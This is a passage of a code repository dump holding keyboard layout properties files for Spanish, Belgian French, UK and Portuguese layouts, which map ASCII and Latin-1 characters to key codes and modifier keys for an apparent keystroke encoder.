ISO_8859_1_A8 = KEY_TILDE, MODIFIERKEY_SHIFT 115 | UNICODE_2C7 = KEY_2, MODIFIERKEY_RIGHT_ALT 116 | ASCII_5E = KEY_3, MODIFIERKEY_RIGHT_ALT 117 | UNICODE_2D8 = KEY_4, MODIFIERKEY_RIGHT_ALT 118 | ISO_8859_1_B0 = KEY_5, MODIFIERKEY_RIGHT_ALT 119 | UNICODE_2DB = KEY_6, MODIFIERKEY_RIGHT_ALT 120 | UNICODE_2D9 = KEY_8, MODIFIERKEY_RIGHT_ALT 121 | ISO_8859_1_B4 = KEY_9, MODIFIERKEY_RIGHT_ALT 122 | UNICODE_2DD = KEY_0, MODIFIERKEY_RIGHT_ALT 123 | ISO_8859_1_A8 = KEY_MINUS, MODIFIERKEY_RIGHT_ALT 124 | ISO_8859_1_B8 = KEY_EQUAL, MODIFIERKEY_RIGHT_ALT 125 | // Numbers: 0 1 2 3 4 5 6 7 8 9 126 | ASCII_30 = KEY_0 127 | ASCII_31 = KEY_1 128 | ASCII_32 = KEY_2 129 | ASCII_33 = KEY_3 130 | ASCII_34 = KEY_4 131 | ASCII_35 = KEY_5 132 | ASCII_36 = KEY_6 133 | ASCII_37 = KEY_7 134 | ASCII_38 = KEY_8 135 | ASCII_39 = KEY_9 -------------------------------------------------------------------------------- /Encoder/resources/es.properties: -------------------------------------------------------------------------------- 1 | // Author: Midnitesnake 2 | // 01-11-2014 3 | // LAYOUT_ESPANOL 4 | // Based from Italian Keymap 5 | // Thanks to Jaime.AlvarezdeAldecoa for patches 6 | 7 | KEY_NON_US_100 = 100 8 | 9 | ASCII_20 = KEY_SPACE 10 | // 32 11 | ASCII_21 = KEY_1, MODIFIERKEY_SHIFT 12 | // 33 ! 13 | ASCII_22 = KEY_2, MODIFIERKEY_SHIFT 14 | // 34 “" 15 | ASCII_23 = KEY_3, MODIFIERKEY_RIGHT_ALT 16 | // 35 # 17 | ASCII_24 = KEY_4, MODIFIERKEY_SHIFT 18 | // 36 $ 19 | ASCII_25 = KEY_5, MODIFIERKEY_SHIFT 20 | // 37 % 21 | ASCII_26 = KEY_6, MODIFIERKEY_SHIFT 22 | // 38 & 23 | ASCII_27 = KEY_MINUS 24 | // 39 ‘ 25 | ASCII_28 = KEY_8, MODIFIERKEY_SHIFT 26 | // 40 ( 27 | ASCII_29 = KEY_9, MODIFIERKEY_SHIFT 28 | // 41 ) 29 | ASCII_2A = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT 30 | // 42 * 31 | ASCII_2B = KEY_RIGHT_BRACE 32 | // 43 + 33 | ASCII_2C = KEY_COMMA 34 | // 44 , 35 | ASCII_2D = KEY_SLASH 36 | // 45 – 37 | ASCII_2E = KEY_PERIOD 38 | // 46 . 39 | ASCII_2F = KEY_7, MODIFIERKEY_SHIFT 40 | // 47 / 41 | ASCII_30 = KEY_0 42 | // 48 0 43 | ASCII_31 = KEY_1 44 | // 49 1 45 | ASCII_32 = KEY_2 46 | // 50 2 47 | ASCII_33 = KEY_3 48 | // 51 3 49 | ASCII_34 = KEY_4 50 | // 52 4 51 | ASCII_35 = KEY_5 52 | // 53 5 53 | ASCII_36 = KEY_6 54 | // 54 6 55 | ASCII_37 = KEY_7 56 | // 55 7 57 | ASCII_38 = KEY_8 58 | // 56 8 59 | ASCII_39 = KEY_9 60 | // 57 9 61 | ASCII_3A = KEY_PERIOD, MODIFIERKEY_SHIFT 62 | // 58 : 63 | ASCII_3B = KEY_COMMA, MODIFIERKEY_SHIFT 64 | // 59 ; 65 | ASCII_3C = KEY_NON_US_100 66 | // 60 < 67 | ASCII_3D = KEY_0, MODIFIERKEY_SHIFT 68 | // 61 = 69 | ASCII_3E = KEY_NON_US_100, MODIFIERKEY_SHIFT 70 | // 62 > 71 | ASCII_3F = KEY_MINUS, MODIFIERKEY_SHIFT 72 | // 63 ? 73 | ASCII_40 = KEY_2, MODIFIERKEY_RIGHT_ALT 74 | // 64 @ 75 | ASCII_41 = KEY_A, MODIFIERKEY_SHIFT 76 | // 65 A 77 | ASCII_42 = KEY_B, MODIFIERKEY_SHIFT 78 | // 66 B 79 | ASCII_43 = KEY_C, MODIFIERKEY_SHIFT 80 | // 67 C 81 | ASCII_44 = KEY_D, MODIFIERKEY_SHIFT 82 | // 68 D 83 | ASCII_45 = KEY_E, MODIFIERKEY_SHIFT 84 | // 69 E 85 | ASCII_46 = KEY_F, MODIFIERKEY_SHIFT 86 | // 70 F 87 | ASCII_47 = KEY_G, MODIFIERKEY_SHIFT 88 | // 71 G 89 | ASCII_48 = KEY_H, MODIFIERKEY_SHIFT 90 | // 72 H 91 | ASCII_49 = KEY_I, MODIFIERKEY_SHIFT 92 | // 73 I 93 | ASCII_4A = KEY_J, MODIFIERKEY_SHIFT 94 | // 74 J 95 | ASCII_4B = KEY_K, MODIFIERKEY_SHIFT 96 | // 75 K 97 | ASCII_4C = KEY_L, MODIFIERKEY_SHIFT 98 | // 76 L 99 | ASCII_4D = KEY_M, MODIFIERKEY_SHIFT 100 | // 77 M 101 | ASCII_4E = KEY_N, MODIFIERKEY_SHIFT 102 | // 78 N 103 | ASCII_4F = KEY_O, MODIFIERKEY_SHIFT 104 | // 79 O 105 | ASCII_50 = KEY_P, MODIFIERKEY_SHIFT 106 | // 80 P 107 | ASCII_51 = KEY_Q, MODIFIERKEY_SHIFT 108 | // 81 Q 109 | ASCII_52 = KEY_R, MODIFIERKEY_SHIFT 110 | // 82 R 111 | ASCII_53 = KEY_S, MODIFIERKEY_SHIFT 112 | // 83 S 113 | ASCII_54 = KEY_T, MODIFIERKEY_SHIFT 114 | // 84 T 115 | ASCII_55 = KEY_U, MODIFIERKEY_SHIFT 116 | // 85 U 117 | ASCII_56 = KEY_V, MODIFIERKEY_SHIFT 118 | // 86 V 119 | ASCII_57 = KEY_W, MODIFIERKEY_SHIFT 120 | // 87 W 121 | ASCII_58 = KEY_X, MODIFIERKEY_SHIFT 122 | // 88 X 123 | ASCII_59 = KEY_Y, MODIFIERKEY_SHIFT 124 | // 89 Y 125 | ASCII_5A = KEY_Z, MODIFIERKEY_SHIFT 126 | // 90 Z 127 | ASCII_5B = KEY_LEFT_BRACE, MODIFIERKEY_RIGHT_ALT 128 | // 91 [ 129 | ASCII_5C = KEY_TILDE, MODIFIERKEY_RIGHT_ALT 130 | // 92 \ 131 | 132 | ASCII_5D = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT 133 | // 93 ] 134 | ASCII_5E = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT 135 | // 94 ^ 136 | ASCII_5F = KEY_SLASH, MODIFIERKEY_SHIFT 137 | // 95 _ 138 | 139 | // ascii 60, 96: accento grave, non mappato 140 | ASCII_61 = KEY_A 141 | // 97 a 142 | ASCII_62 = KEY_B 143 | // 98 b 144 | ASCII_63 = KEY_C 145 | // 99 c 146 | ASCII_64 = KEY_D 147 | // 100 d 148 | ASCII_65 = KEY_E 149 | // 101 e 150 | ASCII_66 = KEY_F 151 | // 102 f 152 | ASCII_67 = KEY_G 153 | // 103 g 154 | ASCII_68 = KEY_H 155 | // 104 h 156 | ASCII_69 = KEY_I 157 | // 105 i 158 | ASCII_6A = KEY_J 159 | // 106 j 160 | ASCII_6B = KEY_K 161 | // 107 k 162 | ASCII_6C = KEY_L 163 | // 108 l 164 | ASCII_6D = KEY_M 165 | // 109 m 166 | ASCII_6E = KEY_N 167 | // 110 n 168 | ASCII_6F = KEY_O 169 | // 111 o 170 | ASCII_70 = KEY_P 171 | // 112 p 172 | ASCII_71 = KEY_Q 173 | // 113 q 174 | ASCII_72 = KEY_R 175 | // 114 r 176 | ASCII_73 = KEY_S 177 | // 115 s 178 | ASCII_74 = KEY_T 179 | // 116 t 180 | ASCII_75 = KEY_U 181 | // 117 u 182 | ASCII_76 = KEY_V 183 | // 118 v 184 | ASCII_77 = KEY_W 185 | // 119 w 186 | ASCII_78 = KEY_X 187 | // 120 x 188 | ASCII_79 = KEY_Y 189 | // 121 y 190 | ASCII_7A = KEY_Z 191 | // 122 z 192 | ASCII_7B = KEY_LEFT_BRACE, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT 193 | // 123 { 194 | ASCII_7C = KEY_1, MODIFIERKEY_RIGHT_ALT 195 | // 124 | 196 | ASCII_7D = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT 197 | // 125 } 198 | ASCII_7E = KEY_4, MODIFIERKEY_RIGHT_ALT 199 | // 126 ~ 200 | ISO_8859_1_BA = KEY_TILDE 201 | // 127 º 202 | 203 | // ascii 7E, 126: tilde, non mappato 204 | ISO_8859_1_E0 = KEY_QUOTE 205 | // 192 a grave 206 | ISO_8859_1_E8 = KEY_LEFT_BRACE 207 | // 232 e grave 208 | ISO_8859_1_E9 = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT 209 | // 233 e acuta 210 | ISO_8859_1_EC = KEY_EQUAL 211 | // 236 i grave 212 | ISO_8859_1_F2 = KEY_SEMICOLON 213 | // 242 o grave 214 | ISO_8859_1_F9 = KEY_BACKSLASH 215 | // 249 u grave 216 | -------------------------------------------------------------------------------- /Encoder/resources/be.properties: -------------------------------------------------------------------------------- 1 | #ifdef LAYOUT_FRENCH_BELGIAN 2 | 3 | KEY_NON_US_100 = 100 4 | 5 | ASCII_20 = KEY_SPACE 6 | // 32 7 | ASCII_21 = KEY_8 8 | // 33 ! 9 | ASCII_22 = KEY_3 10 | // 34 " 11 | ASCII_23 = KEY_3, MODIFIERKEY_RIGHT_ALT 12 | // 35 # 13 | ASCII_24 = KEY_RIGHT_BRACE 14 | // 36 $ 15 | ASCII_25 = KEY_QUOTE, MODIFIERKEY_SHIFT 16 | // 37 % 17 | ASCII_26 = KEY_1 18 | // 38 & 19 | ASCII_27 = KEY_4 20 | // 39 ' 21 | ASCII_28 = KEY_5 22 | // 40 ( 23 | ASCII_29 = KEY_MINUS 24 | // 41 ) 25 | ASCII_2A = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT 26 | // 42 * 27 | ASCII_2B = KEY_SLASH, MODIFIERKEY_SHIFT 28 | // 43 + 29 | ASCII_2C = KEY_M 30 | // 44 , 31 | ASCII_2D = KEY_EQUAL 32 | // 45 - 33 | ASCII_2E = KEY_COMMA, MODIFIERKEY_SHIFT 34 | // 46 . 35 | ASCII_2F = KEY_PERIOD, MODIFIERKEY_SHIFT 36 | // 47 / 37 | ASCII_30 = KEY_0, MODIFIERKEY_SHIFT 38 | // 48 0 39 | ASCII_31 = KEY_1, MODIFIERKEY_SHIFT 40 | // 49 1 41 | ASCII_32 = KEY_2, MODIFIERKEY_SHIFT 42 | // 50 2 43 | ASCII_33 = KEY_3, MODIFIERKEY_SHIFT 44 | // 51 3 45 | ASCII_34 = KEY_4, MODIFIERKEY_SHIFT 46 | // 52 4 47 | ASCII_35 = KEY_5, MODIFIERKEY_SHIFT 48 | // 53 5 49 | ASCII_36 = KEY_6, MODIFIERKEY_SHIFT 50 | // 54 6 51 | ASCII_37 = KEY_7, MODIFIERKEY_SHIFT 52 | // 55 7 53 | ASCII_38 = KEY_8, MODIFIERKEY_SHIFT 54 | // 55 8 55 | ASCII_39 = KEY_9, MODIFIERKEY_SHIFT 56 | // 57 9 57 | ASCII_3A = KEY_PERIOD 58 | // 58 : 59 | ASCII_3B = KEY_COMMA 60 | // 59 ; 61 | ASCII_3C = KEY_NON_US_100 62 | // 60 < 63 | ASCII_3D = KEY_SLASH 64 | // 61 = 65 | ASCII_3E = KEY_NON_US_100, MODIFIERKEY_SHIFT 66 | // 62 > 67 | ASCII_3F = KEY_M, MODIFIERKEY_SHIFT 68 | // 63 ? 69 | ASCII_40 = KEY_2, MODIFIERKEY_RIGHT_ALT 70 | // 64 @ 71 | ASCII_41 = KEY_Q, MODIFIERKEY_SHIFT 72 | // 65 A 73 | ASCII_42 = KEY_B, MODIFIERKEY_SHIFT 74 | // 66 B 75 | ASCII_43 = KEY_C, MODIFIERKEY_SHIFT 76 | // 67 C 77 | ASCII_44 = KEY_D, MODIFIERKEY_SHIFT 78 | // 68 D 79 | ASCII_45 = KEY_E, MODIFIERKEY_SHIFT 80 | // 69 E 81 | ASCII_46 = KEY_F, MODIFIERKEY_SHIFT 82 | // 70 F 83 | ASCII_47 = KEY_G, MODIFIERKEY_SHIFT 84 | // 71 G 85 | ASCII_48 = KEY_H, MODIFIERKEY_SHIFT 86 | // 72 H 87 | ASCII_49 = KEY_I, MODIFIERKEY_SHIFT 88 | // 73 I 89 | ASCII_4A = KEY_J, MODIFIERKEY_SHIFT 90 | // 74 J 91 | ASCII_4B = KEY_K, MODIFIERKEY_SHIFT 92 | // 75 K 93 | ASCII_4C = KEY_L, MODIFIERKEY_SHIFT 94 | // 76 L 95 | ASCII_4D = KEY_SEMICOLON, MODIFIERKEY_SHIFT 96 | // 77 M 97 | ASCII_4E = KEY_N, MODIFIERKEY_SHIFT 98 | // 78 N 99 | ASCII_4F = KEY_O, MODIFIERKEY_SHIFT 100 | // 79 O 101 | ASCII_50 = KEY_P, MODIFIERKEY_SHIFT 102 | // 80 P 103 | ASCII_51 = KEY_A, MODIFIERKEY_SHIFT 104 | // 81 Q 105 | ASCII_52 = KEY_R, MODIFIERKEY_SHIFT 106 | // 82 R 107 | ASCII_53 = KEY_S, MODIFIERKEY_SHIFT 108 | // 83 S 109 | ASCII_54 = KEY_T, MODIFIERKEY_SHIFT 110 | // 84 T 111 | ASCII_55 = KEY_U, MODIFIERKEY_SHIFT 112 | // 85 U 113 | ASCII_56 = KEY_V, MODIFIERKEY_SHIFT 114 | // 86 V 115 | ASCII_57 = KEY_Z, MODIFIERKEY_SHIFT 116 | // 87 W 117 | ASCII_58 = KEY_X, MODIFIERKEY_SHIFT 118 | // 88 X 119 | ASCII_59 = KEY_Y, MODIFIERKEY_SHIFT 120 | // 89 Y 121 | ASCII_5A = KEY_W, MODIFIERKEY_SHIFT 122 | // 90 Z 123 | ASCII_5B = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT 124 | // 91 [ 125 | ASCII_5C = KEY_NON_US_100, MODIFIERKEY_RIGHT_ALT 126 | // 92 127 | ASCII_5D = KEY_LEFT_BRACE, MODIFIERKEY_RIGHT_ALT 128 | // 93 ] 129 | ASCII_5E = KEY_6, MODIFIERKEY_RIGHT_ALT 130 | // 94 ^ 131 | ASCII_5F = KEY_EQUAL, MODIFIERKEY_SHIFT 132 | // 95 _ 133 | ASCII_60 = KEY_BACKSLASH, MODIFIERKEY_RIGHT_ALT 134 | // 96 ` (not tested) 135 | ASCII_61 = KEY_Q 136 | // 97 a 137 | ASCII_62 = KEY_B 138 | // 98 b 139 | ASCII_63 = KEY_C 140 | // 99 c 141 | ASCII_64 = KEY_D 142 | // 100 d 143 | ASCII_65 = KEY_E 144 | // 101 e 145 | ASCII_66 = KEY_F 146 | // 102 f 147 | ASCII_67 = KEY_G 148 | // 103 g 149 | ASCII_68 = KEY_H 150 | // 104 h 151 | ASCII_69 = KEY_I 152 | // 105 i 153 | ASCII_6A = KEY_J 154 | // 106 j 155 | ASCII_6B = KEY_K 156 | // 107 k 157 | ASCII_6C = KEY_L 158 | // 108 l 159 | ASCII_6D = KEY_SEMICOLON 160 | // 109 m 161 | ASCII_6E = KEY_N 162 | // 110 n 163 | ASCII_6F = KEY_O 164 | // 111 o 165 | ASCII_70 = KEY_P 166 | // 112 p 167 | ASCII_71 = KEY_A 168 | // 113 q 169 | ASCII_72 = KEY_R 170 | // 114 r 171 | ASCII_73 = KEY_S 172 | // 115 s 173 | ASCII_74 = KEY_T 174 | // 116 t 175 | ASCII_75 = KEY_U 176 | // 117 u 177 | ASCII_76 = KEY_V 178 | // 118 v 179 | ASCII_77 = KEY_Z 180 | // 119 w 181 | ASCII_78 = KEY_X 182 | // 120 x 183 | ASCII_79 = KEY_Y 184 | // 121 y 185 | ASCII_7A = KEY_W 186 | // 122 z 187 | ASCII_7B = KEY_9, MODIFIERKEY_RIGHT_ALT 188 | // 123 { 189 | ASCII_7C = KEY_1, MODIFIERKEY_RIGHT_ALT 190 | // 124 | 191 | ASCII_7D = KEY_0, MODIFIERKEY_RIGHT_ALT 192 | // 125 } 193 | ASCII_7E = KEY_SLASH, MODIFIERKEY_RIGHT_ALT 194 | // 126 ~ 195 | ASCII_7F = KEY_BACKSPACE 196 | // 127 197 | ISO_8859_1_A0 = KEY_SPACE 198 | // 160 Nonbreakng Space 199 | ISO_8859_1_A3 = KEY_BACKSLASH, MODIFIERKEY_SHIFT 200 | // 163 £ Pound Sign 201 | ISO_8859_1_A7 = KEY_6 202 | // 167 § SECTION SIGN 203 | ISO_8859_1_B0 = KEY_MINUS, MODIFIERKEY_SHIFT 204 | // 176 ° DEGREE SIGN 205 | ISO_8859_1_B2 = KEY_TILDE 206 | // 178 ² SUPERSCRIPT TWO 207 | ISO_8859_1_B3 = KEY_TILDE, MODIFIERKEY_SHIFT 208 | // 179 ³ SUPERSCRIPT THREE 209 | //ISO_8859_1_B4 = ACUTE_ACCENT_BITS + KEY_SPACE 210 | // 180 ´ ACUTE ACCENT 211 | ISO_8859_1_B5 = KEY_BACKSLASH 212 | // 181 µ MICRO SIGN 213 | ISO_8859_1_E0 = KEY_0 214 | // 224 à a GRAVE 215 | ISO_8859_1_E7 = KEY_9 216 | // 231 ç c CEDILLA 217 | ISO_8859_1_E8 = KEY_7 218 | // 232 è e GRAVE 219 | ISO_8859_1_E9 = KEY_2 220 | // 233 é e ACUTE 221 | ISO_8859_1_F9 = KEY_QUOTE 222 | // 249 ù u GRAVE - TODO; check FRENCH 223 | UNICODE_20AC = KEY_E, MODIFIERKEY_RIGHT_ALT 224 | // € Euro Sign 225 | 226 | -------------------------------------------------------------------------------- /Encoder/resources/gb.properties: -------------------------------------------------------------------------------- 1 | //LAYOUT_UNITED_KINGDOM 2 | //KEY_NON_US_100 = 100 3 | KEY_BACKSLASH=64 4 | KEY_ASH=100 5 | 6 | ASCII_20 = KEY_SPACE 7 | // 32 8 | ASCII_21 = KEY_1, MODIFIERKEY_SHIFT 9 | // 33 ! 10 | ASCII_22 = KEY_2, MODIFIERKEY_SHIFT 11 | // 34 " 12 | ASCII_5C = KEY_ASH 13 | // 35 # 14 | ASCII_24 = KEY_4, MODIFIERKEY_SHIFT 15 | // 36 $ 16 | ASCII_25 = KEY_5, MODIFIERKEY_SHIFT 17 | // 37 % 18 | ASCII_26 = KEY_7, MODIFIERKEY_SHIFT 19 | // 38 & 20 | ASCII_27 = KEY_QUOTE 21 | // 39 ' 22 | ASCII_28 = KEY_9, MODIFIERKEY_SHIFT 23 | // 40 ( 24 | ASCII_29 = KEY_0, MODIFIERKEY_SHIFT 25 | // 41 ) 26 | ASCII_2A = KEY_8, MODIFIERKEY_SHIFT 27 | // 42 * 28 | ASCII_2B = KEY_EQUAL, MODIFIERKEY_SHIFT 29 | // 43 + 30 | ASCII_2C = KEY_COMMA 31 | // 44 , 32 | ASCII_2D = KEY_MINUS 33 | // 45 - 34 | ASCII_2E = KEY_PERIOD 35 | // 46 . 36 | ASCII_2F = KEY_SLASH 37 | // 47 / 38 | ASCII_30 = KEY_0 39 | // 48 0 40 | ASCII_31 = KEY_1 41 | // 49 1 42 | ASCII_32 = KEY_2 43 | // 50 2 44 | ASCII_33 = KEY_3 45 | // 51 3 46 | ASCII_34 = KEY_4 47 | // 52 4 48 | ASCII_35 = KEY_5 49 | // 53 5 50 | ASCII_36 = KEY_6 51 | // 54 6 52 | ASCII_37 = KEY_7 53 | // 55 7 54 | ASCII_38 = KEY_8 55 | // 55 8 56 | ASCII_39 = KEY_9 57 | // 57 9 58 | ASCII_3A = KEY_SEMICOLON, MODIFIERKEY_SHIFT 59 | // 58 : 60 | ASCII_3B = KEY_SEMICOLON 61 | // 59 ; 62 | ASCII_3C = KEY_COMMA, MODIFIERKEY_SHIFT 63 | // 60 < 64 | ASCII_3D = KEY_EQUAL 65 | // 61 = 66 | ASCII_3E = KEY_PERIOD, MODIFIERKEY_SHIFT 67 | // 62 > 68 | ASCII_3F = KEY_SLASH, MODIFIERKEY_SHIFT 69 | // 63 ? 70 | ASCII_40 = KEY_QUOTE, MODIFIERKEY_SHIFT 71 | // 64 @ 72 | ASCII_41 = KEY_A, MODIFIERKEY_SHIFT 73 | // 65 A 74 | ASCII_42 = KEY_B, MODIFIERKEY_SHIFT 75 | // 66 B 76 | ASCII_43 = KEY_C, MODIFIERKEY_SHIFT 77 | // 67 C 78 | ASCII_44 = KEY_D, MODIFIERKEY_SHIFT 79 | // 68 D 80 | ASCII_45 = KEY_E, MODIFIERKEY_SHIFT 81 | // 69 E 82 | ASCII_46 = KEY_F, MODIFIERKEY_SHIFT 83 | // 70 F 84 | ASCII_47 = KEY_G, MODIFIERKEY_SHIFT 85 | // 71 G 86 | ASCII_48 = KEY_H, MODIFIERKEY_SHIFT 87 | // 72 H 88 | ASCII_49 = KEY_I, MODIFIERKEY_SHIFT 89 | // 73 I 90 | ASCII_4A = KEY_J, MODIFIERKEY_SHIFT 91 | // 74 J 92 | ASCII_4B = KEY_K, MODIFIERKEY_SHIFT 93 | // 75 K 94 | ASCII_4C = KEY_L, MODIFIERKEY_SHIFT 95 | // 76 L 96 | ASCII_4D = KEY_M, MODIFIERKEY_SHIFT 97 | // 77 M 98 | ASCII_4E = KEY_N, MODIFIERKEY_SHIFT 99 | // 78 N 100 | ASCII_4F = KEY_O, MODIFIERKEY_SHIFT 101 | // 79 O 102 | ASCII_50 = KEY_P, MODIFIERKEY_SHIFT 103 | // 80 P 104 | ASCII_51 = KEY_Q, MODIFIERKEY_SHIFT 105 | // 81 Q 106 | ASCII_52 = KEY_R, MODIFIERKEY_SHIFT 107 | // 82 R 108 | ASCII_53 = KEY_S, MODIFIERKEY_SHIFT 109 | // 83 S 110 | ASCII_54 = KEY_T, MODIFIERKEY_SHIFT 111 | // 84 T 112 | ASCII_55 = KEY_U, MODIFIERKEY_SHIFT 113 | // 85 U 114 | ASCII_56 = KEY_V, MODIFIERKEY_SHIFT 115 | // 86 V 116 | ASCII_57 = KEY_W, MODIFIERKEY_SHIFT 117 | // 87 W 118 | ASCII_58 = KEY_X, MODIFIERKEY_SHIFT 119 | // 88 X 120 | ASCII_59 = KEY_Y, MODIFIERKEY_SHIFT 121 | // 89 Y 122 | ASCII_5A = KEY_Z, MODIFIERKEY_SHIFT 123 | // 90 Z 124 | ASCII_5B = KEY_LEFT_BRACE 125 | // 91 [ 126 | ASCII_23 = KEY_BACKSLASH 127 | // 92 128 | ASCII_5D = KEY_RIGHT_BRACE 129 | // 93 ] 130 | ASCII_5E = KEY_6, MODIFIERKEY_SHIFT 131 | // 94 ^ 132 | ASCII_5F = KEY_MINUS, MODIFIERKEY_SHIFT 133 | // 95 _ 134 | ASCII_60 = KEY_TILDE 135 | // 96 ` 136 | ASCII_61 = KEY_A 137 | // 97 a 138 | ASCII_62 = KEY_B 139 | // 98 b 140 | ASCII_63 = KEY_C 141 | // 99 c 142 | ASCII_64 = KEY_D 143 | // 100 d 144 | ASCII_65 = KEY_E 145 | // 101 e 146 | ASCII_66 = KEY_F 147 | // 102 f 148 | ASCII_67 = KEY_G 149 | // 103 g 150 | ASCII_68 = KEY_H 151 | // 104 h 152 | ASCII_69 = KEY_I 153 | // 105 i 154 | ASCII_6A = KEY_J 155 | // 106 j 156 | ASCII_6B = KEY_K 157 | // 107 k 158 | ASCII_6C = KEY_L 159 | // 108 l 160 | ASCII_6D = KEY_M 161 | // 109 m 162 | ASCII_6E = KEY_N 163 | // 110 n 164 | ASCII_6F = KEY_O 165 | // 111 o 166 | ASCII_70 = KEY_P 167 | // 112 p 168 | ASCII_71 = KEY_Q 169 | // 113 q 170 | ASCII_72 = KEY_R 171 | // 114 r 172 | ASCII_73 = KEY_S 173 | // 115 s 174 | ASCII_74 = KEY_T 175 | // 116 t 176 | ASCII_75 = KEY_U 177 | // 117 u 178 | ASCII_76 = KEY_V 179 | // 118 v 180 | ASCII_77 = KEY_W 181 | // 119 w 182 | ASCII_78 = KEY_X 183 | // 120 x 184 | ASCII_79 = KEY_Y 185 | // 121 y 186 | ASCII_7A = KEY_Z 187 | // 122 z 188 | ASCII_7B = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT 189 | // 123 { 190 | ASCII_7E = KEY_BACKSLASH, MODIFIERKEY_SHIFT 191 | // 124 | 192 | ASCII_7D = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT 193 | // 125 } 194 | ASCII_7C = KEY_ASH, MODIFIERKEY_SHIFT 195 | // 126 ~ 196 | ASCII_7F = KEY_BACKSPACE 197 | // 127 198 | 199 | ISO_8859_1_A0 = KEY_SPACE 200 | // 160 Nonbreakng Space 201 | ISO_8859_1_A3 = KEY_3, MODIFIERKEY_SHIFT 202 | // 163 £ Pound Sign 203 | ISO_8859_1_A6 = KEY_TILDE, MODIFIERKEY_RIGHT_ALT 204 | // 166 ¦ BROKEN BAR 205 | ISO_8859_1_AC = KEY_TILDE, MODIFIERKEY_SHIFT 206 | // 172 ¬ NOT SIGN 207 | //ISO_8859_1_C1 = KEY_A, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT 208 | // 193 Á A ACUTE 209 | //ISO_8859_1_C9 = KEY_E, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT 210 | // 201 É E ACUTE 211 | //ISO_8859_1_CD = KEY_I, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT 212 | // 205 Í I ACUTE 213 | //ISO_8859_1_D3 = KEY_O, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT 214 | // 211 Ó O ACUTE 215 | //ISO_8859_1_DA = KEY_U, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT 216 | // 218 Ú U ACUTE 217 | //ISO_8859_1_E1 = KEY_A, MODIFIERKEY_RIGHT_ALT 218 | // 225 á a ACUTE 219 | ISO_8859_1_E9 = KEY_E, MODIFIERKEY_RIGHT_ALT 220 | // 233 é e ACUTE 221 | ISO_8859_1_ED = KEY_I, MODIFIERKEY_RIGHT_ALT 222 | // 237 í i ACUTE 223 | ISO_8859_1_F3 = KEY_O, MODIFIERKEY_RIGHT_ALT 224 | // 243 ó o ACUTE 225 | ISO_8859_1_FA = KEY_U, MODIFIERKEY_RIGHT_ALT 226 | // 250 ú u ACUTE 227 | UNICODE_20AC = KEY_4, MODIFIERKEY_RIGHT_ALT 228 | // € Euro Sign 229 | 230 | -------------------------------------------------------------------------------- /Encoder/resources/pt.properties: -------------------------------------------------------------------------------- 1 | // Portuguese keyboard 102-keys layout 2 | 3 | // Keyboard Non-US# and ~ 4 | // Typical language mappings: US: \| Belg: μ`£ FrCa: <}> Dan:’* Dutch: <> Fren:*μ Ger: #’ Ital: ù§ LatAm: }`] Nor:,* Span:}Ç Swed: ,* Swiss: $£ UK: #~ Port: ~^ . 5 | KEY_NON_US_NUM = 50 6 | // Keyboard Non-US\ and | 7 | // Typical language mappings: Belg:<\> FrCa:«°» Dan:<\> Dutch:]|[ Fren:<> Ger:<|> Ital:<> LatAm:<> Nor:<> Span:<> Swed:<|> Swiss:<\> UK:\| Brazil: \| Portuguese: <> . 8 | KEY_NON_US_100 = 100 9 | 10 | // 32 11 | ASCII_20 = KEY_SPACE 12 | // 33 ! 49 1 13 | ASCII_21 = KEY_1, MODIFIERKEY_SHIFT 14 | ASCII_31 = KEY_1 15 | // 34 " 50 2 16 | ASCII_22 = KEY_2, MODIFIERKEY_SHIFT 17 | ASCII_32 = KEY_2 18 | // 35 # 51 3 19 | ASCII_23 = KEY_3, MODIFIERKEY_SHIFT 20 | ASCII_33 = KEY_3 21 | // 36 $ 52 4 22 | ASCII_24 = KEY_4, MODIFIERKEY_SHIFT 23 | ASCII_34 = KEY_4 24 | // 37 % 53 5 25 | ASCII_25 = KEY_5, MODIFIERKEY_SHIFT 26 | ASCII_35 = KEY_5 27 | // 38 & 35 6 28 | ASCII_26 = KEY_6, MODIFIERKEY_SHIFT 29 | ASCII_36 = KEY_6 30 | // 47 SLASH 55 7 31 | ASCII_2F = KEY_7, MODIFIERKEY_SHIFT 32 | ASCII_37 = KEY_7 33 | // 40 ( 55 8 34 | ASCII_28 = KEY_8, MODIFIERKEY_SHIFT 35 | ASCII_38 = KEY_8 36 | // 41 ) 57 9 37 | ASCII_29 = KEY_9, MODIFIERKEY_SHIFT 38 | ASCII_39 = KEY_9 39 | // 61 = 48 0 40 | ASCII_3D = KEY_0, MODIFIERKEY_SHIFT 41 | ASCII_30 = KEY_0 42 | // 39 ' 63 ? 43 | ASCII_3F = KEY_MINUS, MODIFIERKEY_SHIFT 44 | ASCII_27 = KEY_MINUS 45 | // 42 * 43 + 46 | ASCII_2A = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT 47 | ASCII_2B = KEY_LEFT_BRACE 48 | // 44 , 59 ; 49 | ASCII_2C = KEY_COMMA 50 | ASCII_3B = KEY_COMMA, MODIFIERKEY_SHIFT 51 | // 45 - 95 _ 52 | ASCII_2D = KEY_SLASH, 53 | ASCII_5F = KEY_SLASH, MODIFIERKEY_SHIFT 54 | // 46 . 58 : 55 | ASCII_2E = KEY_PERIOD 56 | ASCII_3A = KEY_PERIOD, MODIFIERKEY_SHIFT 57 | // 60 < 62 > 58 | ASCII_3C = KEY_NON_US_100 59 | ASCII_3E = KEY_NON_US_100, MODIFIERKEY_SHIFT 60 | // 64 @ 61 | ASCII_40 = KEY_2, MODIFIERKEY_RIGHT_ALT 62 | // 65 A 63 | ASCII_41 = KEY_A, MODIFIERKEY_SHIFT 64 | // 66 B 65 | ASCII_42 = KEY_B, MODIFIERKEY_SHIFT 66 